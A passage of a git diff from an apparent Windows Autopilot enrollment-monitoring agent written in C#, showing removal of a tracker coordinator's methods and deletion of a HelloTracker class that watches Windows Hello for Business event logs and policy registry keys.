_logger, - _helloTracker); - _shellCoreTracker.FinalizingSetupPhaseTriggered += OnFinalizingSetupPhaseTriggered; - _shellCoreTracker.WhiteGloveCompleted += OnWhiteGloveCompleted; - _shellCoreTracker.EspFailureDetected += OnEspFailureDetected; - _shellCoreTracker.Start(); - - _provisioningTracker = new ProvisioningStatusTracker( - _sessionId, - _tenantId, - _onEventCollected, - _logger); - _provisioningTracker.EspFailureDetected += OnEspFailureDetected; - _provisioningTracker.DeviceSetupProvisioningComplete += OnDeviceSetupProvisioningComplete; - _provisioningTracker.Start(); - - if (_modernDeploymentWatcherEnabled) - { - _modernDeploymentTracker = new ModernDeploymentTracker( - _sessionId, - _tenantId, - _onEventCollected, - _logger, - _modernDeploymentLogLevelMax, - _modernDeploymentBackfillEnabled, - _modernDeploymentBackfillLookbackMinutes, - _stateDirectory, - _modernDeploymentHarmlessEventIds); - _modernDeploymentTracker.Start(); - } - } - - public void Stop() - { - _logger.Info("Stopping ESP and Hello tracker"); - - DisposeTracker(ref _modernDeploymentTracker, "ModernDeployment", t => t.Stop()); - DisposeProvisioningTracker(); - DisposeShellCoreTracker(); - DisposeHelloTracker(); - } - - public void Dispose() => Stop(); - - private void DisposeHelloTracker() - { - if (_helloTracker == null) return; - try - { - _helloTracker.HelloCompleted -= OnHelloCompleted; - _helloTracker.Stop(); - } - catch (Exception ex) { _logger.Error("Error stopping Hello tracker", ex); } - _helloTracker = null; - } - - private void DisposeShellCoreTracker() - { - if (_shellCoreTracker == null) return; - try - { - _shellCoreTracker.FinalizingSetupPhaseTriggered -= OnFinalizingSetupPhaseTriggered; - _shellCoreTracker.WhiteGloveCompleted -= OnWhiteGloveCompleted; - _shellCoreTracker.EspFailureDetected -= OnEspFailureDetected; - _shellCoreTracker.Stop(); - } - catch (Exception ex) { _logger.Error("Error stopping Shell-Core tracker", ex); } - _shellCoreTracker = null; - } - - private void DisposeProvisioningTracker() - { - if (_provisioningTracker == null) return; - try - { - _provisioningTracker.EspFailureDetected -= OnEspFailureDetected; - _provisioningTracker.DeviceSetupProvisioningComplete -= OnDeviceSetupProvisioningComplete; - _provisioningTracker.Stop("tracker_stopped"); - } - catch (Exception ex) { _logger.Error("Error stopping provisioning status tracker", ex); } - _provisioningTracker = null; - } - - private void DisposeTracker(ref T tracker, string name, Action stopper) where T : class - { - if (tracker == null) return; - try { stopper(tracker); } - catch (Exception ex) { _logger.Error($"Error stopping {name} tracker", ex); } - tracker = null; - } - - // ===================================================================== - // Event forwarders - // ===================================================================== - - private void OnHelloCompleted(object sender, EventArgs e) - { - try { HelloCompleted?.Invoke(this, EventArgs.Empty); } - catch (Exception ex) { _logger.Error("Error forwarding HelloCompleted", ex); } - } - - private void OnFinalizingSetupPhaseTriggered(object sender, string reason) - { - try { FinalizingSetupPhaseTriggered?.Invoke(this, reason); } - catch (Exception ex) { _logger.Error("Error forwarding FinalizingSetupPhaseTriggered", ex); } - } - - private void OnWhiteGloveCompleted(object sender, EventArgs e) - { - try { WhiteGloveCompleted?.Invoke(this, EventArgs.Empty); } - catch (Exception ex) { _logger.Error("Error forwarding WhiteGloveCompleted", ex); } - } - - private void OnEspFailureDetected(object sender, string failureType) - { - try { EspFailureDetected?.Invoke(this, failureType); } - catch (Exception ex) { _logger.Error($"Error forwarding EspFailureDetected for '{failureType}'", ex); } - } - - private void OnDeviceSetupProvisioningComplete(object sender, EventArgs e) - { - try { DeviceSetupProvisioningComplete?.Invoke(this, EventArgs.Empty); } - catch (Exception ex) { _logger.Error("Error forwarding DeviceSetupProvisioningComplete", ex); } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/HelloTracker.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/HelloTracker.cs deleted file mode 100644 index 3f22c15f..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/HelloTracker.cs +++ /dev/null @@ -1,997 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics.Eventing.Reader; -using System.Text.RegularExpressions; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; -using Microsoft.Win32; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals -{ - /// - /// Tracks Windows Hello for Business (WHfB) provisioning during Autopilot enrollment. - /// - /// Signals: - /// - User Device Registration/Admin: 300/301/358/360/362/376 (NGC key lifecycle) - /// - HelloForBusiness/Operational: 3024/6045 (processing start/stop + skip HRESULT) - /// - Registry (CSP + GPO): PassportForWork policy detection - /// - External "wizard started" signal from ESP (Shell-Core 62404) - /// - External "ESP exited" signal from ESP (Shell-Core 62407) - /// - /// Completion outcomes: "completed", "skipped", "timeout", "not_configured", "wizard_not_started". - /// - internal sealed class HelloTracker : IDisposable - { - internal const string UdrEventLogChannel = "Microsoft-Windows-User Device Registration/Admin"; - internal const string HelloForBusinessEventLogChannel = "Microsoft-Windows-HelloForBusiness/Operational"; - - internal const string CspPolicyBasePath = @"SOFTWARE\Microsoft\Policies\PassportForWork"; - internal const string GpoPolicyPath = @"SOFTWARE\Policies\Microsoft\PassportForWork"; - - internal const int EventId_NgcKeyRegistered = 300; - internal const int EventId_NgcKeyRegistrationFailed = 301; - internal const int EventId_ProvisioningWillLaunch = 358; - internal const int EventId_ProvisioningWillNotLaunch = 360; - internal const int EventId_ProvisioningBlocked = 362; - internal const int EventId_PinStatus = 376; - - internal const int EventId_HelloForBusiness_ProcessingStarted = 3024; - internal const int EventId_HelloForBusiness_ProcessingStopped = 6045; - - internal const string HResult_UserSkippedHello = "0x801C044F"; - - internal const int HelloCompletionTimeoutSeconds = 300; - internal const int BackfillLookbackMinutes = 5; - - private static readonly HashSet TrackedUdrEventIds = new HashSet - { - EventId_NgcKeyRegistered, - EventId_NgcKeyRegistrationFailed, - EventId_ProvisioningWillLaunch, - EventId_ProvisioningWillNotLaunch, - EventId_ProvisioningBlocked, - EventId_PinStatus - }; - - private static readonly HashSet TrackedHelloForBusinessEventIds = new HashSet - { - EventId_HelloForBusiness_ProcessingStarted, - EventId_HelloForBusiness_ProcessingStopped - }; - - private static readonly Regex HResultPattern = new Regex(@"0x[0-9A-Fa-f]{8}", RegexOptions.Compiled); - - private readonly AgentLogger _logger; - private readonly string _sessionId; - private readonly string _tenantId; - private readonly Action _onEventCollected; - private readonly int _helloWaitTimeoutSeconds; - - private EventLogWatcher _udrWatcher; - private EventLogWatcher _helloForBusinessWatcher; - private System.Threading.Timer _policyCheckTimer; - private System.Threading.Timer _helloWaitTimer; - private System.Threading.Timer _helloCompletionTimer; - - private bool _isPolicyConfigured; - private bool _isHelloPolicyEnabled; - private bool _isHelloCompleted; - private bool _helloWizardStarted; - private bool _espExitSeen; - private readonly object _stateLock = new object(); - - public event EventHandler HelloCompleted; - - public string HelloOutcome { get; private set; } - - public bool IsPolicyConfigured { get { lock (_stateLock) { return _isPolicyConfigured; } } } - - public bool IsHelloCompleted { get { lock (_stateLock) { return _isHelloCompleted; } } } - - public HelloTracker( - string sessionId, - string tenantId, - Action onEventCollected, - AgentLogger logger, - int helloWaitTimeoutSeconds = 30) - { - _sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId)); - _tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - _onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - _helloWaitTimeoutSeconds = helloWaitTimeoutSeconds; - } - - // ===================================================================== - // Lifecycle - // ===================================================================== - - public void Start() - { - CheckHelloPolicy(); - - _policyCheckTimer = new System.Threading.Timer( - _ => CheckHelloPolicy(), - null, - TimeSpan.FromSeconds(10), - TimeSpan.FromSeconds(10)); - - StartUdrEventLogWatcher(); - StartHelloForBusinessEventLogWatcher(); - - BackfillRecentTerminalHelloEvents(); - BackfillRecentHelloForBusinessEvents(); - } - - public void Stop() - { - DisposeTimer(ref _policyCheckTimer, "policy check"); - DisposeTimer(ref _helloWaitTimer, "Hello wait"); - DisposeTimer(ref _helloCompletionTimer, "Hello completion"); - - if (_udrWatcher != null) - { - try - { - _udrWatcher.Enabled = false; - _udrWatcher.EventRecordWritten -= OnUdrEventRecordWritten; - _udrWatcher.Dispose(); - _udrWatcher = null; - } - catch (Exception ex) { _logger.Error("Error stopping UDR watcher", ex); } - } - - if (_helloForBusinessWatcher != null) - { - try - { - _helloForBusinessWatcher.Enabled = false; - _helloForBusinessWatcher.EventRecordWritten -= OnHelloForBusinessEventRecordWritten; - _helloForBusinessWatcher.Dispose(); - _helloForBusinessWatcher = null; - } - catch (Exception ex) { _logger.Error("Error stopping HelloForBusiness watcher", ex); } - } - } - - public void Dispose() => Stop(); - - private void DisposeTimer(ref System.Threading.Timer timer, string name) - { - if (timer == null) return; - try { timer.Dispose(); } - catch (Exception ex) { _logger.Error($"Error stopping {name} timer", ex); } - timer = null; - } - - // ===================================================================== - // External coordination API (called by EspTracker / coordinator) - // ===================================================================== - - /// - /// Force-marks Hello as completed from an external caller (e.g. safety timeout in EnrollmentTracker). - /// Does NOT invoke the HelloCompleted event — the caller handles completion logic directly. - /// - public void ForceMarkHelloCompleted(string reason) - { - lock (_stateLock) - { - if (_isHelloCompleted) return; - _isHelloCompleted = true; - HelloOutcome = reason; - StopHelloCompletionTimerLocked(); - _logger.Warning($"Hello force-completed by external caller: {reason}"); - } - } - - /// - /// Resets Hello tracking state when ESP resumes after a mid-enrollment reboot (hybrid join). - /// Stops all running timers and clears Hello state so the timer chain restarts fresh when - /// ESP exits again for real. - /// - public void ResetForEspResumption() - { - lock (_stateLock) - { - _helloWaitTimer?.Dispose(); - _helloWaitTimer = null; - _helloCompletionTimer?.Dispose(); - _helloCompletionTimer = null; - - _isHelloCompleted = false; - _helloWizardStarted = false; - _espExitSeen = false; - HelloOutcome = null; - } - _logger.Info("HelloTracker: Reset for ESP resumption — Hello tracking restarted"); - } - - /// - /// Starts the Hello wait timer. Called by EnrollmentTracker when AccountSetup phase exits. - /// Waits for Hello wizard to start (Shell-Core event 62404, reported via - /// ) within the configured timeout. - /// If timeout expires without Hello wizard, marks Hello as completed so enrollment can proceed. - /// - public void StartHelloWaitTimer() - { - lock (_stateLock) - { - if (_helloWizardStarted) - { - _logger.Debug("StartHelloWaitTimer called but Hello wizard already started - skipping"); - return; - } - - if (_isHelloCompleted) - { - _logger.Debug("StartHelloWaitTimer called but Hello already completed - skipping"); - return; - } - - if (_helloWaitTimer != null) - { - _logger.Debug("StartHelloWaitTimer called but timer already running - skipping"); - return; - } - - _logger.Info($"Starting Hello wait timer ({_helloWaitTimeoutSeconds}s) - waiting for Hello wizard to start"); - _helloWaitTimer = new System.Threading.Timer( - OnHelloWaitTimeout, - null, - TimeSpan.FromSeconds(_helloWaitTimeoutSeconds), - TimeSpan.FromMilliseconds(-1)); - } - } - - /// - /// Called by the ESP tracker when Shell-Core event 62404 fires with AADHello/NGC context. - /// Stops the wait timer (if running) and arms the long completion timer to catch cases - /// where the wizard appeared but no terminal Hello event arrives. - /// - public void NotifyHelloWizardStarted() - { - lock (_stateLock) - { - if (_helloWizardStarted) return; - _helloWizardStarted = true; - - if (_helloWaitTimer != null) - { - _helloWaitTimer.Dispose(); - _helloWaitTimer = null; - _logger.Info($"Hello wizard started within {_helloWaitTimeoutSeconds}s timeout - stopping wait timer"); - } - - StartHelloCompletionTimerLocked(); - } - } - - /// - /// Called by the ESP tracker when the ESP exits (Shell-Core 62407 with OOBE_ESP*Exiting). - /// Used only for informational data fields in wait/completion timeout events. - /// - public void NotifyEspExited() - { - lock (_stateLock) - { - _espExitSeen = true; - } - } - - // ===================================================================== - // Policy detection (CSP + GPO) - // ===================================================================== - - private void CheckHelloPolicy() - { - try - { - var (isEnabled, source) = DetectHelloPolicy(); - - lock (_stateLock) - { - if (!_isPolicyConfigured && isEnabled.HasValue) - { - _isPolicyConfigured = true; - _isHelloPolicyEnabled = isEnabled.Value; - var status = isEnabled.Value ? "enabled" : "disabled"; - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "hello_policy_detected", - Severity = EventSeverity.Info, - Source = "EspAndHelloTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"Windows Hello for Business policy detected: {status} (via {source})", - Data = new Dictionary - { - { "helloEnabled", isEnabled.Value }, - { "policySource", source } - } - }); - - _logger.Info($"WHfB policy detected: {status} (source: {source})"); - - if (_policyCheckTimer != null) - { - _policyCheckTimer.Dispose(); - _policyCheckTimer = null; - _logger.Debug("Stopped periodic Hello policy check - policy has been detected"); - } - } - else if (!_isPolicyConfigured && !isEnabled.HasValue) - { - _logger.Debug("Periodic Hello policy check: No WHfB policy found yet - will check again"); - } - } - } - catch (Exception ex) - { - _logger.Warning($"Error checking WHfB policy: {ex.Message}"); - } - } - - private (bool? isEnabled, string source) DetectHelloPolicy() - { - try - { - using (var baseCspKey = Registry.LocalMachine.OpenSubKey(CspPolicyBasePath, false)) - { - if (baseCspKey != null) - { - foreach (var tenantSubKey in baseCspKey.GetSubKeyNames()) - { - using (var tenantKey = baseCspKey.OpenSubKey(tenantSubKey, false)) - { - if (tenantKey != null) - { - foreach (var scopeSubKey in tenantKey.GetSubKeyNames()) - { - using (var policiesKey = tenantKey.OpenSubKey($@"{scopeSubKey}\Policies", false)) - { - if (policiesKey != null) - { - var value = policiesKey.GetValue("UsePassportForWork"); - if (value != null) - { - var scope = scopeSubKey.Equals("Device", StringComparison.OrdinalIgnoreCase) - ? "device" - : "user"; - return (Convert.ToInt32(value) == 1, $"CSP/Intune ({scope}-scoped)"); - } - } - } - } - } - } - } - } - } - } - catch { } - - try - { - using (var gpoKey = Registry.LocalMachine.OpenSubKey(GpoPolicyPath, false)) - { - if (gpoKey != null) - { - var value = gpoKey.GetValue("Enabled"); - if (value != null) - { - return (Convert.ToInt32(value) == 1, "GPO"); - } - } - } - } - catch { } - - return (null, null); - } - - // ===================================================================== - // UDR event log watcher (events 300/301/358/360/362/376) - // ===================================================================== - - private void StartUdrEventLogWatcher() - { - try - { - var query = new EventLogQuery( - UdrEventLogChannel, - PathType.LogName, - "*[System[(EventID=300 or EventID=301 or EventID=358 or EventID=360 or EventID=362 or EventID=376)]]"); - - _udrWatcher = new EventLogWatcher(query); - _udrWatcher.EventRecordWritten += OnUdrEventRecordWritten; - _udrWatcher.Enabled = true; - - _logger.Info($"Started watching: {UdrEventLogChannel}"); - } - catch (EventLogNotFoundException) - { - _logger.Warning($"Event log not found: {UdrEventLogChannel} (normal if not on a real device)"); - } - catch (Exception ex) - { - _logger.Error("Failed to start Hello event log watcher", ex); - } - } - - private void OnUdrEventRecordWritten(object sender, EventRecordWrittenEventArgs e) - { - if (e.EventRecord == null) return; - - try - { - var record = e.EventRecord; - var eventId = record.Id; - if (!TrackedUdrEventIds.Contains(eventId)) return; - - ProcessHelloEvent( - eventId, - (record.TimeCreated ?? DateTime.UtcNow).ToUniversalTime(), - record.ProviderName ?? "", - isBackfill: false); - } - catch (Exception ex) - { - _logger.Error("Error processing Hello event record", ex); - } - } - - internal void ProcessHelloEvent(int eventId, DateTime timestamp, string providerName, bool isBackfill) - { - string eventType; - EventSeverity severity; - string message; - bool shouldTriggerHelloCompleted = false; - - switch (eventId) - { - case EventId_ProvisioningWillLaunch: // 358 - eventType = "hello_provisioning_willlaunch"; - severity = EventSeverity.Info; - message = "Windows Hello for Business provisioning will launch - prerequisites passed (snapshot only, not a final state)"; - _logger.Info("Windows Hello provisioning will launch - prerequisites passed (snapshot only, not a final state)"); - break; - - case EventId_NgcKeyRegistered: // 300 - eventType = "hello_provisioning_completed"; - severity = EventSeverity.Info; - message = "Windows Hello for Business provisioned successfully - NGC key registered"; - shouldTriggerHelloCompleted = MarkHelloCompleted(); - _logger.Info("Windows Hello provisioning COMPLETED successfully"); - break; - - case EventId_NgcKeyRegistrationFailed: // 301 - eventType = "hello_provisioning_failed"; - severity = EventSeverity.Error; - message = "Windows Hello for Business provisioning failed - NGC key registration error"; - shouldTriggerHelloCompleted = MarkHelloCompleted(); - _logger.Info("Windows Hello provisioning COMPLETED with failure"); - break; - - case EventId_ProvisioningWillNotLaunch: // 360 - eventType = "hello_provisioning_willnotlaunch"; - severity = EventSeverity.Warning; - message = "Windows Hello for Business provisioning prerequisites not met (snapshot only, not a final state)"; - // DO NOT mark Hello as completed - event 360 is just a snapshot and can change - _logger.Info("Windows Hello provisioning prerequisites not met (snapshot, not terminal)"); - break; - - case EventId_ProvisioningBlocked: // 362 - eventType = "hello_provisioning_blocked"; - severity = EventSeverity.Warning; - message = "Windows Hello for Business provisioning blocked"; - shouldTriggerHelloCompleted = MarkHelloCompleted(); - _logger.Info("Windows Hello provisioning COMPLETED (blocked)"); - break; - - case EventId_PinStatus: // 376 - eventType = "hello_pin_status"; - severity = EventSeverity.Info; - message = "Windows Hello PIN status update"; - break; - - default: - return; - } - - // Keep payload minimal — full descriptions may contain sensitive data - // (server responses with key IDs, UPNs, tokens). - var data = new Dictionary - { - { "windowsEventId", eventId }, - { "providerName", providerName ?? "" }, - { "description", "truncated" }, - { "eventTime", timestamp.ToString("o") } - }; - - if (isBackfill) - { - data["backfill"] = true; - } - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - Timestamp = timestamp, - EventType = eventType, - Severity = severity, - Source = "EspAndHelloTracker", - Phase = EnrollmentPhase.Unknown, - Message = message, - Data = data, - ImmediateUpload = shouldTriggerHelloCompleted || eventType == "hello_provisioning_failed" - }); - - _logger.Info($"Hello event detected: {eventType} (EventID {eventId}{(isBackfill ? ", backfill" : "")})"); - - if (shouldTriggerHelloCompleted) - { - try { HelloCompleted?.Invoke(this, EventArgs.Empty); } catch { } - } - } - - private bool MarkHelloCompleted() - { - lock (_stateLock) - { - if (_isHelloCompleted) - { - _logger.Debug("Hello terminal event received but Hello is already marked completed"); - return false; - } - - _isHelloCompleted = true; - HelloOutcome = "completed"; - StopHelloCompletionTimerLocked(); - return true; - } - } - - private void BackfillRecentTerminalHelloEvents() - { - try - { - var lookbackMs = BackfillLookbackMinutes * 60 * 1000; - var query = new EventLogQuery( - UdrEventLogChannel, - PathType.LogName, - $"*[System[(EventID=300 or EventID=301 or EventID=362) and TimeCreated[timediff(@SystemTime) <= {lookbackMs}]]]"); - - using (var reader = new EventLogReader(query)) - { - DateTime latestTimestamp = DateTime.MinValue; - int? latestEventId = null; - string latestProvider = string.Empty; - - for (EventRecord record = reader.ReadEvent(); record != null; record = reader.ReadEvent()) - { - using (record) - { - var eventId = record.Id; - if (eventId != EventId_NgcKeyRegistered && eventId != EventId_NgcKeyRegistrationFailed && eventId != EventId_ProvisioningBlocked) - continue; - - var timestamp = record.TimeCreated ?? DateTime.MinValue; - if (timestamp < latestTimestamp) continue; - - latestTimestamp = timestamp; - latestEventId = eventId; - latestProvider = record.ProviderName ?? ""; - } - } - - if (latestEventId.HasValue) - { - _logger.Info($"Backfill found recent Hello terminal event: EventID {latestEventId.Value} at {latestTimestamp:O}"); - ProcessHelloEvent( - latestEventId.Value, - (latestTimestamp == DateTime.MinValue ? DateTime.UtcNow : latestTimestamp).ToUniversalTime(), - latestProvider, - isBackfill: true); - } - else - { - _logger.Debug($"Backfill found no terminal Hello events in last {BackfillLookbackMinutes} minutes"); - } - } - } - catch (Exception ex) - { - _logger.Warning($"Hello terminal event backfill failed: {ex.Message}"); - } - } - - // ===================================================================== - // HelloForBusiness/Operational watcher (events 3024/6045) - // ===================================================================== - - private void StartHelloForBusinessEventLogWatcher() - { - try - { - var query = new EventLogQuery( - HelloForBusinessEventLogChannel, - PathType.LogName, - "*[System[(EventID=3024 or EventID=6045)]]"); - - _helloForBusinessWatcher = new EventLogWatcher(query); - _helloForBusinessWatcher.EventRecordWritten += OnHelloForBusinessEventRecordWritten; - _helloForBusinessWatcher.Enabled = true; - - _logger.Info($"Started watching: {HelloForBusinessEventLogChannel}"); - } - catch (EventLogNotFoundException) - { - _logger.Warning($"Event log not found: {HelloForBusinessEventLogChannel} (normal if not on a real device)"); - } - catch (Exception ex) - { - _logger.Error("Failed to start HelloForBusiness event log watcher", ex); - } - } - - private void OnHelloForBusinessEventRecordWritten(object sender, EventRecordWrittenEventArgs e) - { - if (e.EventRecord == null) return; - - try - { - var record = e.EventRecord; - var eventId = record.Id; - if (!TrackedHelloForBusinessEventIds.Contains(eventId)) return; - - var description = record.FormatDescription() ?? $"Event ID {eventId}"; - var timestamp = (record.TimeCreated ?? DateTime.UtcNow).ToUniversalTime(); - - ProcessHelloForBusinessEvent(eventId, timestamp, description, record.ProviderName ?? "", isBackfill: false); - } - catch (Exception ex) - { - _logger.Error("Error processing HelloForBusiness event record", ex); - } - } - - internal void ProcessHelloForBusinessEvent(int eventId, DateTime timestamp, string description, string providerName, bool isBackfill) - { - string eventType; - EventSeverity severity; - string message; - bool shouldTriggerHelloCompleted = false; - string hresult = null; - - switch (eventId) - { - case EventId_HelloForBusiness_ProcessingStarted: // 3024 - eventType = "hello_processing_started"; - severity = EventSeverity.Info; - message = "Windows Hello for Business processing started"; - _logger.Info("Hello for Business processing started (event 3024)"); - break; - - case EventId_HelloForBusiness_ProcessingStopped: // 6045 - hresult = ExtractHResultFromDescription(description); - - if (string.Equals(hresult, HResult_UserSkippedHello, StringComparison.OrdinalIgnoreCase)) - { - eventType = "hello_skipped"; - severity = EventSeverity.Warning; - message = $"Windows Hello for Business skipped by user ({HResult_UserSkippedHello})"; - shouldTriggerHelloCompleted = MarkHelloSkipped(); - _logger.Info($"Hello for Business SKIPPED by user (event 6045, HRESULT {hresult})"); - } - else - { - eventType = "hello_processing_stopped"; - severity = EventSeverity.Info; - message = $"Windows Hello for Business processing stopped (HRESULT: {hresult ?? "unknown"})"; - _logger.Info($"Hello for Business processing stopped (event 6045, HRESULT {hresult ?? "unknown"}) - not treated as terminal"); - } - break; - - default: - return; - } - - var data = new Dictionary - { - { "windowsEventId", eventId }, - { "providerName", providerName ?? "" }, - { "description", description }, - { "eventLogChannel", HelloForBusinessEventLogChannel }, - { "eventTime", timestamp.ToString("o") } - }; - - if (hresult != null) data["hresult"] = hresult; - if (isBackfill) data["backfill"] = true; - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - Timestamp = timestamp, - EventType = eventType, - Severity = severity, - Source = "EspAndHelloTracker", - Phase = EnrollmentPhase.Unknown, - Message = message, - Data = data, - ImmediateUpload = shouldTriggerHelloCompleted - }); - - _logger.Info($"HelloForBusiness event detected: {eventType} (EventID {eventId}{(isBackfill ? ", backfill" : "")})"); - - if (shouldTriggerHelloCompleted) - { - try { HelloCompleted?.Invoke(this, EventArgs.Empty); } catch { } - } - } - - private bool MarkHelloSkipped() - { - lock (_stateLock) - { - if (_isHelloCompleted) - { - _logger.Debug("Hello skip event received but Hello is already marked completed"); - return false; - } - - _isHelloCompleted = true; - HelloOutcome = "skipped"; - StopHelloCompletionTimerLocked(); - return true; - } - } - - internal static string ExtractHResultFromDescription(string description) - { - if (string.IsNullOrEmpty(description)) return null; - var match = HResultPattern.Match(description); - return match.Success ? match.Value : null; - } - - private void BackfillRecentHelloForBusinessEvents() - { - try - { - var lookbackMs = BackfillLookbackMinutes * 60 * 1000; - var query = new EventLogQuery( - HelloForBusinessEventLogChannel, - PathType.LogName, - $"*[System[(EventID=6045) and TimeCreated[timediff(@SystemTime) <= {lookbackMs}]]]"); - - using (var reader = new EventLogReader(query)) - { - DateTime latestTimestamp = DateTime.MinValue; - string latestDescription = null; - string latestProvider = string.Empty; - - for (EventRecord record = reader.ReadEvent(); record != null; record = reader.ReadEvent()) - { - using (record) - { - var timestamp = record.TimeCreated ?? DateTime.MinValue; - if (timestamp < latestTimestamp) continue; - - latestTimestamp = timestamp; - latestDescription = record.FormatDescription() ?? $"Event ID {record.Id}"; - latestProvider = record.ProviderName ?? ""; - } - } - - if (latestDescription != null) - { - var hresult = ExtractHResultFromDescription(latestDescription); - if (string.Equals(hresult, HResult_UserSkippedHello, StringComparison.OrdinalIgnoreCase)) - { - _logger.Info($"Backfill found recent Hello skip event: HRESULT {hresult} at {latestTimestamp:O}"); - ProcessHelloForBusinessEvent( - EventId_HelloForBusiness_ProcessingStopped, - (latestTimestamp == DateTime.MinValue ? DateTime.UtcNow : latestTimestamp).ToUniversalTime(), - latestDescription, - latestProvider, - isBackfill: true); - } - else - { - _logger.Debug($"Backfill found HelloForBusiness event 6045 but HRESULT {hresult ?? "unknown"} is not a known terminal code - skipping"); - } - } - else - { - _logger.Debug($"Backfill found no HelloForBusiness 6045 events in last {BackfillLookbackMinutes} minutes"); - } - } - } - catch (Exception ex) - { - _logger.Warning($"HelloForBusiness event backfill failed: {ex.Message}"); - } - } - - // ===================================================================== - // Timers: wait → completion - // ===================================================================== - - private void OnHelloWaitTimeout(object state) - { - lock (_stateLock) - { - if (_helloWizardStarted) - { - _logger.Debug("Hello wait timeout fired but wizard already started - ignoring"); - return; - } - - if (_isHelloCompleted) - { - _logger.Debug("Hello wait timeout fired but Hello already completed - ignoring"); - return; - } - - // Timeout expired without Hello wizard starting. - // If Hello policy is known to be ENABLED, the wizard simply hasn't appeared yet - // (e.g. Windows is still setting up prerequisites). Do NOT declare enrollment - // complete — start the long HelloCompletion timer and keep waiting. - if (_isHelloPolicyEnabled) - { - _logger.Info($"Hello wait timeout ({_helloWaitTimeoutSeconds}s) expired but Hello policy is enabled — " + - $"wizard not yet visible, starting long completion timer ({HelloCompletionTimeoutSeconds}s)"); - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "hello_wait_timeout", - Severity = EventSeverity.Info, - Source = "EspAndHelloTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"Hello wizard did not start within {_helloWaitTimeoutSeconds}s after ESP exit — " + - $"Hello policy is enabled, waiting up to {HelloCompletionTimeoutSeconds}s for wizard", - Data = new Dictionary - { - { "timeoutSeconds", _helloWaitTimeoutSeconds }, - { "espExitDetected", _espExitSeen }, - { "helloPolicyEnabled", true }, - { "action", "extended_wait" } - }, - ImmediateUpload = true - }); - - StartHelloCompletionTimerLocked(); - return; - } - - _logger.Info($"Hello wait timeout ({_helloWaitTimeoutSeconds}s) expired without Hello wizard starting"); - _logger.Info("Hello policy not detected as enabled — assuming Hello is not configured or was skipped"); - - _isHelloCompleted = true; - HelloOutcome = "not_configured"; - StopHelloCompletionTimerLocked(); - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "hello_wait_timeout", - Severity = EventSeverity.Info, - Source = "EspAndHelloTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"Hello wizard did not start within {_helloWaitTimeoutSeconds}s after ESP exit - assuming not configured", - Data = new Dictionary - { - { "timeoutSeconds", _helloWaitTimeoutSeconds }, - { "espExitDetected", _espExitSeen }, - { "helloPolicyEnabled", false }, - { "action", "enrollment_complete" } - }, - ImmediateUpload = true - }); - - try { HelloCompleted?.Invoke(this, EventArgs.Empty); } - catch (Exception ex) { _logger.Error("Error invoking HelloCompleted from timeout", ex); } - } - } - - private void StartHelloCompletionTimerLocked() - { - if (_isHelloCompleted) return; - if (_helloCompletionTimer != null) return; - - _logger.Info($"Starting Hello completion timer ({HelloCompletionTimeoutSeconds}s) - waiting for terminal Hello event (300/301/362)"); - _helloCompletionTimer = new System.Threading.Timer( - OnHelloCompletionTimeout, - null, - TimeSpan.FromSeconds(HelloCompletionTimeoutSeconds), - TimeSpan.FromMilliseconds(-1)); - } - - private void StopHelloCompletionTimerLocked() - { - if (_helloCompletionTimer == null) return; - try { _helloCompletionTimer.Dispose(); } catch { } - finally { _helloCompletionTimer = null; } - } - - private void OnHelloCompletionTimeout(object state) - { - lock (_stateLock) - { - if (_isHelloCompleted) - { - _logger.Debug("Hello completion timeout fired but Hello already completed - ignoring"); - return; - } - - _logger.Warning($"Hello completion timeout ({HelloCompletionTimeoutSeconds}s) expired after wizard start without terminal event"); - _isHelloCompleted = true; - HelloOutcome = _helloWizardStarted ? "timeout" : "wizard_not_started"; - StopHelloCompletionTimerLocked(); - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "hello_completion_timeout", - Severity = EventSeverity.Warning, - Source = "EspAndHelloTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"Hello wizard started but no terminal event (300/301/362) arrived within {HelloCompletionTimeoutSeconds}s", - Data = new Dictionary - { - { "timeoutSeconds", HelloCompletionTimeoutSeconds }, - { "helloWizardStarted", _helloWizardStarted } - }, - ImmediateUpload = true - }); - - try { HelloCompleted?.Invoke(this, EventArgs.Empty); } - catch (Exception ex) { _logger.Error("Error invoking HelloCompleted from completion timeout", ex); } - } - } - - // ===================================================================== - // Test seams — allow tests to drive timer logic deterministically - // ===================================================================== - - /// Test-only: simulate policy detection without a real registry read. - internal void SetPolicyForTest(bool helloEnabled, string source) - { - lock (_stateLock) - { - _isPolicyConfigured = true; - _isHelloPolicyEnabled = helloEnabled; - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "hello_policy_detected", - Severity = EventSeverity.Info, - Source = "EspAndHelloTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"Windows Hello for Business policy detected: {(helloEnabled ? "enabled" : "disabled")} (via {source})", - Data = new Dictionary - { - { "helloEnabled", helloEnabled }, - { "policySource", source } - } - }); - } - } - - internal void TriggerWaitTimeoutForTest() => OnHelloWaitTimeout(null); - internal void TriggerCompletionTimeoutForTest() => OnHelloCompletionTimeout(null); - - internal bool IsWaitTimerActiveForTest { get { lock 